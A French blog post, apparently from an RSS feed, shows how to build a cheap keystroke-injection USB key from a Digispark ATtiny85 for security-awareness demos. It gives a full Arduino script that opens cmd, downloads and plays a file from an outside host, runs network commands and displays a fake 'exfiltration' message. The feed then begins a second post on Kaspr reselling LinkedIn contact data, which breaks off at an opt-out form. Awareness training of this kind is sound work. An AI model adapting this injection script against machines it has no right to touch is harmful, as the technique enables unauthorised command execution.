<p>En somme, je souhaite trouver une alternative abordable aux Rubber Ducky pour sensibiliser les utilisateurs aux risques liés à l&rsquo;utilisation de clés USB inconnues, en utilisant une clé USB capable de simuler des dommages sur un ordinateur.<span id="more-7106"></span></p>
<h2>Que sont des Rubber Ducky ?</h2>
<p>Les Rubber Ducky sont des clés USB conçues pour simuler un clavier lorsqu&rsquo;elles sont connectées à un ordinateur. Elles sont souvent utilisées par les pirates informatiques pour effectuer des attaques de type « keystroke injection » (injection de frappe), qui consistent à simuler des frappes de clavier pour exécuter des commandes malveillantes sur un ordinateur cible.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7107" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png" alt="" width="180" height="199" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png 506w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-271x300.png 271w" sizes="auto, (max-width: 180px) 100vw, 180px" /></a></p>
<p>Les Rubber Ducky sont équipées d&rsquo;un microcontrôleur programmable qui peut stocker des scripts préenregistrés. Lorsqu&rsquo;elles sont connectées à un ordinateur, elles se comportent comme un clavier USB standard et peuvent envoyer des séquences de touches préenregistrées à une vitesse très élevée, ce qui permet d&rsquo;exécuter des commandes complexes en quelques secondes seulement.</p>
<p>Les Rubber Ducky sont souvent utilisées pour des tests d&rsquo;intrusion ou des démonstrations de sécurité informatique, mais elles peuvent également être utilisées à des fins malveillantes, comme le vol de données ou l&rsquo;installation de logiciels malveillants. Il est donc important de sensibiliser les utilisateurs aux risques liés à l&rsquo;utilisation de clés USB inconnues et de prendre des mesures de sécurité appropriées pour protéger les ordinateurs contre les attaques de type « keystroke injection ».</p>
<p>Comme expliqué dans le paragraphe précédent, mon objectif est de sensibiliser les utilisateurs d&rsquo;outils informatiques et leur démontrant la dangerosité d&rsquo;insérer une clé USB inconnue dans leur ordinateur.</p>
<p>Voici le prix des Rubber Ducky, d&rsquo;où mon souhait de trouver une solution autre, le prix est éliminatoire pour l&rsquo;utilité que je vais en avoir.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7108" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png" alt="" width="505" height="164" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png 505w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2-300x97.png 300w" sizes="auto, (max-width: 505px) 100vw, 505px" /></a></p>
<h2>Je vais utiliser une Digispark Rev. 3 équipé d&rsquo;une ATTINY85</h2>
<p>Je vais utiliser un équipement beaucoup plus léger car il n&rsquo;a que 6k de mémoire, mais cela est suffisant, je ne vais pas lancer de script complexe.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7110" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png" alt="" width="174" height="165" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png 337w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark-300x285.png 300w" sizes="auto, (max-width: 174px) 100vw, 174px" /></a></p>
<p>Cet équipement vaut entre 5 et 7 euros.</p>
<p>Vous pouvez le commander <a href="https://s.click.aliexpress.com/e/_DFOnvth" target="_blank" rel="noopener">chez les chinois directement</a> en priant que vous aurez la bonne version ou chez <a href="https://amzn.to/463FXri" target="_blank" rel="noopener">Amazon en lot de 3</a>.</p>
<p>Les connecteurs ne me seront pas utiles, je ne vais pas le flasher.</p>
<h2>Contraintes de la Digispark ATTINY85</h2>
<p>Si on compare une Rubber Ducky et une Digispark, on se rend compte que la première et principale limite se situe au niveau de la capacité de stockage des scripts utilisables.</p>
<p>Le microcontrôleur ATtiny85 dispose de 8 ko de mémoire flash, mais une partie de cette mémoire est utilisée pour stocker le bootloader et le code du programme d&rsquo;application. En général, la quantité de mémoire disponible pour le stockage de données sur une clé Digispark ATtiny85 est d&rsquo;environ 6 ko. Pour mon utilisation, cela est suffisant.</p>
<p>Les clés Rubber Ducky disposent de fonctionnalités avancées telles que la possibilité de simuler des périphériques USB autres qu&rsquo;un clavier, comme une souris ou un disque dur externe. Les clés Digispark ATtiny85 sont plus limitées dans ce domaine et ne peuvent généralement simuler qu&rsquo;un clavier USB. Cela me convient également.</p>
<h2>Je télécharge les pilotes de la Digispark</h2>
<p>Je vais procéder à l&rsquo;installation des pilotes de la Digispark sur mon ordinateur personnel. Bien que cela puisse sembler être une tâche complexe et délicate, il est important de noter que cette manipulation ne doit être effectuée que sur mon propre ordinateur et non sur les ordinateurs ciblés par la simulation de dommages. En effet, une fois la Digispark branchée sur un ordinateur, elle sera reconnue comme un clavier.</p>
<p>Je charge donc les fichiers nécessaires à l&rsquo;installation des drivers :</p>
<ul>
<li><a href="https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip" target="_blank" rel="noopener">https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip</a></li>
</ul>
<p>Une fois téléchargé et décompresser, c&rsquo;est le fichier qui permettra d&rsquo;installer les drivers.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7115" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png" alt="" width="648" height="437" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png 648w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1-600x405.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1-300x202.png 300w" sizes="auto, (max-width: 648px) 100vw, 648px" /></a></p>
<p>Ce driver n&rsquo;étant pas signé, normalement Windows va bloquer sont installation, il faut donc désactiver temporairement la signature obligatoire des pilotes.</p>
<h2>Je désactive la signature obligatoire des pilotes</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7116" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.png" alt="" width="155" height="124" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.png 510w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2-300x239.png 300w" sizes="auto, (max-width: 155px) 100vw, 155px" /></a></p>
<p>Je vais désactiver temporairement la signature obligatoire des pilotes sur mon ordinateur. Cette opération ne présente aucun risque et sera automatiquement annulée au prochain redémarrage de l&rsquo;ordinateur. Cette étape est nécessaire pour permettre l&rsquo;installation des pilotes de la Digispark, qui n&rsquo;ont pas été signés numériquement par un éditeur de confiance.</p>
<p>Je vais dans <strong>Paramètres</strong> puis <strong>Récupération</strong> pour appuyer sur le bouton <strong>Redémarrage maintenant</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7117" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3.png" alt="" width="1012" height="640" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3.png 1012w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3-600x379.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3-300x190.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark3-768x486.png 768w" sizes="auto, (max-width: 1012px) 100vw, 1012px" /></a></p>
<p>Puis au redémarrage, choisir <strong>Dépannage</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7118" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark4.png" alt="" width="262" height="82" /></a></p>
<p>puis <strong>Options avancées</strong> puis <strong>Paramètres</strong></p>
<p>Le PC redémarrage et au redémarrage, voici les choix :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark5.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7119" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark5.png" alt="" width="621" height="318" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark5.png 621w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark5-600x307.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark5-300x154.png 300w" sizes="auto, (max-width: 621px) 100vw, 621px" /></a></p>
<p>Je veux l&rsquo;option 7 donc j&rsquo;appuie sur <strong>F7</strong>.</p>
<h2>J&rsquo;installe les pilotes de la Digispark</h2>
<p>Je peux maintenant lancer le fichier <strong>Install Drivers.exe</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7115" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png" alt="" width="648" height="437" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1.png 648w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1-600x405.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark1-300x202.png 300w" sizes="auto, (max-width: 648px) 100vw, 648px" /></a></p>
<h2>J&rsquo;installe l&rsquo;IDE d&rsquo;Arduino</h2>
<p>L&rsquo;IDE (Integrated Development Environment) d&rsquo;Arduino est un logiciel open-source qui permet de programmer les cartes Arduino et d&rsquo;autres cartes compatibles. C&rsquo;est lui qui va me permettre de saisir le code du script que je souhaite exécuter et le téléverser ensuite dans la clé Digispark.</p>
<ul>
<li><a href="https://www.arduino.cc/en/software" target="_blank" rel="noopener">https://www.arduino.cc/en/software</a></li>
</ul>
<p>Rien de bien compliqué, tout s&rsquo;installe tout seul.</p>
<h2>J&rsquo;intègre le pack Digispark à l&rsquo;IDE</h2>
<p>Pour piloter la carte Digispark, il est nécessaire d&rsquo;utiliser le pack Digispark.</p>
<p>Je lance IDE Arduino, puis <strong>Fichier</strong> puis <strong>Préférences</strong>.</p>
<p>Je dois compléter l&rsquo;<strong>URL de gestionnaire de cartes supplémentaires</strong></p>
<p><strong><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7120" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6.png" alt="" width="806" height="537" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6.png 806w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6-600x400.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6-300x200.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark6-768x512.png 768w" sizes="auto, (max-width: 806px) 100vw, 806px" /></a></strong></p>
<p>Dans tous les tutos et autres doc que vous trouverez sur internet, il est spécifié ce lien :</p>
<ul>
<li><a href="http://digistump.com/package_digistump_index.json" target="_blank" rel="noopener">http://digistump.com/package_digistump_index.json</a></li>
</ul>
<p>Mais au jour de mes essais, ce lien ne fonctionnait pas, le site digistump étant HS.</p>
<p>Voici le lien que j&rsquo;ai utilisé :</p>
<ul>
<li><a href="https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json" target="_blank" rel="noopener">https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json</a></li>
</ul>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark7.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7121" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark7.png" alt="" width="740" height="107" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark7.png 740w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark7-600x87.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark7-300x43.png 300w" sizes="auto, (max-width: 740px) 100vw, 740px" /></a></p>
<p>Dans <strong>Outils</strong>, <strong>Cartes</strong>, <strong>Gestionnaire de cartes, </strong>taper <strong>digistrump </strong>puis cliquer sur <strong>Installer </strong>de <strong>Digistump AVR Boards</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark8.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7122" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark8.png" alt="" width="481" height="252" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark8.png 481w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark8-300x157.png 300w" sizes="auto, (max-width: 481px) 100vw, 481px" /></a></p>
<p>Puis retourner sélectionner le carte Default dans <strong>Outils</strong>, <strong>Carte</strong>, Digistump AVR Boards, puis <strong>Digisdpark Default 16.5mhz.</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7123" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9.png" alt="" width="862" height="252" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9.png 862w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9-600x175.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9-300x88.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark9-768x225.png 768w" sizes="auto, (max-width: 862px) 100vw, 862px" /></a></p>
<p> </p>
<h2>J&rsquo;installe le clavier QWERTY</h2>
<p>Pour ne pas me faire piéger sur l&rsquo;écriture des commandes à envoyer, j&rsquo;installe un clavier américain en QWERTY. Ainsi quand je saisirai des commandes à exécuter ou à afficher, je basculerai le clavier en ENG.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark10.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7124" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark10.png" alt="" width="293" height="150" /></a></p>
<h2>Je saisis mon code/script</h2>
<p>Voici mon script :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">#include &lt;DigiKeyboard.h&gt;

void setup() {
    //pinMode(1, OUTPUT); // LED brille plus si déclarée en output
    digitalWrite(1, HIGH); // Allume la LED rouge (pour signaler que l'execution est en cours)
    DigiKeyboard.delay(3000); // Attendre 3 secondes

    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("c;d"); // Écrire "cmd"
    DigiKeyboard.delay(500); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"

    DigiKeyboard.delay(500); 
    DigiKeyboard.print("curl 6o ;usic&lt;;p# https.&gt;&gt;uploqdsong&lt;netlify&lt;qpp&gt;;usic&lt;;p#"); // Écrire "curl -o music.mp3 https://uploadsong.netlify.app/music.mp3"
    DigiKeyboard.delay(500); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"


    DigiKeyboard.delay(500); 
    DigiKeyboard.print("ipconfig &gt;qll"); // Écrire "ipconfig /all"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("exit"); // Écrire "exit"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"

    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print(";usic&lt;;p#"); // Écrire "music.mp3"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(1000); 

    int color = 1;
    while (color &lt; 5) {
        DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
        DigiKeyboard.delay(500); 
        DigiKeyboard.print("c;d"); // Écrire "cmd"
        DigiKeyboard.delay(500); 
        DigiKeyboard.sendKeyStroke(KEY_ENTER);
        DigiKeyboard.delay(1000); 
        switch (color) {
        case 0:
          DigiKeyboard.print("echo off1color )1cls1tree");// Écrire "echo off&amp;color 0&amp;cls&amp;tree"
          break;
        case 1:
          DigiKeyboard.print("echo off1color !1cls1trqcert *&lt;*&lt;*&lt;*"); // Écrire "echo off&amp;color 1&amp;cls&amp;tracert 8.8.8.8"
          break;
        case 2:
          DigiKeyboard.print("echo off1color @1cls1PING google&lt;fr 6n !))");// Écrire "echo off&amp;color 2&amp;cls&amp;ping google.fr -n 100"
          break;
        case 3:
          DigiKeyboard.print("echo off1color #1cls1tree");// Écrire "echo off&amp;color 3&amp;cls&amp;tree"
          break;
        case 4:
          DigiKeyboard.print("echo off1color $1cls1trqcert *&lt;*&lt;*&lt;*");// Écrire "echo off&amp;color 4&amp;cls&amp;tracert 8.8.8.8"
          break;
        }
        DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
        DigiKeyboard.delay(500); 
        color++;
    }

    DigiKeyboard.delay(1000); 
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("notepqd"); // Écrire "notepad"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(1000); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print("   Coucou // Ordinqteur pirqt2&lt; Do;;qge "); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"  
    while (color &lt; 15)
    {
        DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"  
        DigiKeyboard.print("   Exfiltrqtion des donn2es en cours&lt;&lt;&lt; "); 
        delay(300);
        color++;
    }
    digitalWrite(1, LOW); // Eteindre la Led Rouge
}

void loop() {
}</pre>
<p>Je l&rsquo;ai commenté au maximum.</p>
<h2>Je le téléverse dans la clé Digispark</h2>
<p>Je ne branche pas la clé, je lance la compilation ainsi que le téléversement avec le bouton avec la flèche vers la droite :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark11.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7125" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark11.png" alt="" width="213" height="79" /></a></p>
<p>Quand la console affiche plug in <strong>device now</strong>, je peux insérer la clé Digispark</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7126" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12.png" alt="" width="884" height="103" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12.png 884w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12-600x70.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12-300x35.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark12-768x89.png 768w" sizes="auto, (max-width: 884px) 100vw, 884px" /></a>Le téléversement est extra rapide, soit j&rsquo;arrive à retirer la clé avant que le script se lance soit je bénéficie du premier lancement du script de la clé&#8230;</p>
<p>C&rsquo;est terminé, la clé est prête.</p>
<p><strong>Ainsi, pour simuler une attaque par injection de frappe, il suffit de glisser la clé dans un port USB.</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7128" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif" alt="" width="796" height="336" /></a></p>
<h2>Bibliographie pour aller plus loin</h2>
<ul>
<li><a href="https://www.malekal.com/desactiver-signature-numerique-pilotes-windows-10/" target="_blank" rel="noopener">https://www.malekal.com/desactiver-signature-numerique-pilotes-windows-10/</a></li>
<li><a href="https://www.qqt.fr/documentation/systeme-dexploitation/desactivation-de-la-signature-obligatoire-des-pilotes-sous-windows-8/" target="_blank" rel="noopener">https://www.qqt.fr/documentation/systeme-dexploitation/desactivation-de-la-signature-obligatoire-des-pilotes-sous-windows-8/</a></li>
<li><a href="https://www.youtube.com/watch?v=R41pn1j81RU" target="_blank" rel="noopener">https://www.youtube.com/watch?v=R41pn1j81RU</a></li>
<li><a href="https://remiflandrois.fr/2021/08/09/usb-digispark-rubber-ducky/" target="_blank" rel="noopener">https://remiflandrois.fr/2021/08/09/usb-digispark-rubber-ducky/</a></li>
<li><a href="https://github.com/CedArctic/DigiSpark-Scripts" target="_blank" rel="noopener">https://github.com/CedArctic/DigiSpark-Scripts</a></li>
<li><a href="https://github.com/CedArctic/DigiSpark-Scripts" target="_blank" rel="noopener">https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/</a></li>
</ul>
]]></content:encoded>
					
		
		<enclosure url="https://uploadsong.netlify.app/music.mp3" length="1835398" type="audio/mpeg" />

			</item>
		<item>
		<title>我的专业数据是如何转售的？</title>
		<link href="">https://www.sigalou-domotique.fr/zh/comment-mes-donnees-pro-ont-ete-revendues</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>Thu, 25 Apr 2024 15:21:11 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Retex]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=6929</guid>

					<description><![CDATA[Mon retour d&#8217;expérience Mon constat J&#8217;ai été contacté plusieurs fois sur mon téléphone portable pour des démarchages professionnels, alors que mes appels sont habituellement filtrés par mon secrétariat et que peu de personnes ont mon numéro de portable professionnel. Je trouve cela étrange et répétitif. Un soir, vers 18h45, journée terminée mais encore au bureau, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2>Mon retour d&rsquo;expérience</h2>
<h3>Mon constat</h3>
<p>J&rsquo;ai été contacté plusieurs fois sur mon téléphone portable pour des démarchages professionnels, alors que mes appels sont habituellement filtrés par mon secrétariat et que peu de personnes ont mon numéro de portable professionnel.<span id="more-6929"></span></p>
<p>Je trouve cela étrange et répétitif. Un soir, vers 18h45, journée terminée mais encore au bureau, je reçois un appel sur mon portable. Le numéro est affiché mais inconnu pour moi. Je décide de répondre et entame une conversation avec l&rsquo;interlocuteur, qui cherche à me vendre des solutions logicielles dont je n&rsquo;avais aucun besoin. Il le comprend rapidement, mais avec une sympathie dans la voix, nous plaisantons ensemble un moment. Curieux, je saisis l&rsquo;occasion pour lui demander comment il a obtenu mon numéro de portable.</p>
<p>Il m&rsquo;explique qu&rsquo;il est abonné à une plateforme appelée Kaspr, laquelle fournit un outil en complément au navigateur. Cet outil lui permet d&rsquo;obtenir l&rsquo;adresse e-mail et le numéro de téléphone du profil LinkedIn qu&rsquo;il est en train de consulter.</p>
<p>Je pense d&rsquo;abord à Casper, mon ami d&rsquo;enfance, mais ce n&rsquo;est pas lui ; l&rsquo;orthographe n&rsquo;est pas la même.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/casper.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6931" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/casper.jpg" alt="" width="231" height="181" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/casper.jpg 521w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/casper-300x235.jpg 300w" sizes="auto, (max-width: 231px) 100vw, 231px" /></a></p>
<p>Je ne connaissais pas Kaspr et je fonce sur leur site pour voir s&rsquo;il s&rsquo;est moqué de moi ou pas.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/Logo-on-White-BG-No-Cognism-company.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6930" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/Logo-on-White-BG-No-Cognism-company.png" alt="" width="109" height="38" /></a></p>
<p>Je tape Kaspr dans Google et voici le résultat :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6932" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr1.png" alt="" width="639" height="134" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr1.png 639w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr1-600x126.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr1-300x63.png 300w" sizes="auto, (max-width: 639px) 100vw, 639px" /></a></p>
<p>Donc, il ne m&rsquo;a pas menti, ce logiciel fournit bien les adresses e-mail et les numéros de téléphone des profils LinkedIn ?! Mais comment est-ce possible ?!</p>
<p>J&rsquo;avais évidemment la conviction d&rsquo;avoir correctement sécurisé mon profil ; toutes les options de partage sont désactivées et je n&rsquo;ai jamais autorisé la diffusion de mon adresse e-mail ou de mon numéro de téléphone professionnel. Je suis un peu contrarié, mais je continue l&rsquo;exploration.</p>
<p>La promesse est bien là, expliquée sur leur site, les numéros et mails sont bien affichés, dans une petite fenêtre d&rsquo;un complément au navigateur quand on consulte un profil LinkedIn.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ninagomez.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6933" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ninagomez.png" alt="" width="635" height="547" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ninagomez.png 635w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ninagomez-600x517.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ninagomez-300x258.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></a></p>
<p>Moi qui n&rsquo;est pas encore décoléré, je regarde les gros titres des témoignages d&rsquo;utilisateurs qui se tapent sur le ventre :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6934" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr2.png" alt="" width="512" height="79" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr2.png 512w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr2-300x46.png 300w" sizes="auto, (max-width: 512px) 100vw, 512px" /></a></p>
<p>Je lis aussi :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6935" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr3.png" alt="" width="579" height="165" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr3.png 579w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr3-300x85.png 300w" sizes="auto, (max-width: 579px) 100vw, 579px" /></a></p>
<p>Je ne sais pas si cela a le don de m&rsquo;inquiéter ou de me rassurer, je suis un parmi 500 millions ! ?</p>
<p>Je cherche à savoir ce que sont ces 150 sources ? Après tout, LinkedIn est peut-être le support de la consultation, comment savoir d&rsquo;où viennent les informations ? LinkedIn ou pas ??</p>
<p>Je cherche, je cherche, c&rsquo;est bien caché, je trouve ceci :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6936" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4.png" alt="" width="1264" height="390" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4.png 1264w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4-600x185.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4-300x93.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4-1024x316.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/kaspr4-768x237.png 768w" sizes="auto, (max-width: 1264px) 100vw, 1264px" /></a></p>
<p>Je ne peux donc pas déterminer si mes données proviennent directement de LinkedIn ou si un fournisseur « premium » a revendu mes informations.</p>
<p><strong>La véritable force de Kaspr réside dans sa capacité à établir un lien entre mon nom, mon prénom, mon profil LinkedIn et d&rsquo;autres données qu&rsquo;ils ont récupérées ailleurs.</strong></p>
<p>Mon article ne porte aucun jugement sur qui que ce soit. Il offrira autant de visibilité à Kaspr pour certains qu&rsquo;il sensibilisera à la sécurité des données pour d&rsquo;autres.</p>
<h3>Puis-je demander la suppression des informations me concernant ?</h3>
<p>Je cherche, je cherche, tout bascule en anglais, les pages dont je parle à partir d&rsquo;ici sont en anglais.</p>
<p>Dans un coin du site, une option « Opt-Out » et je trouve ce formulaire :</p>
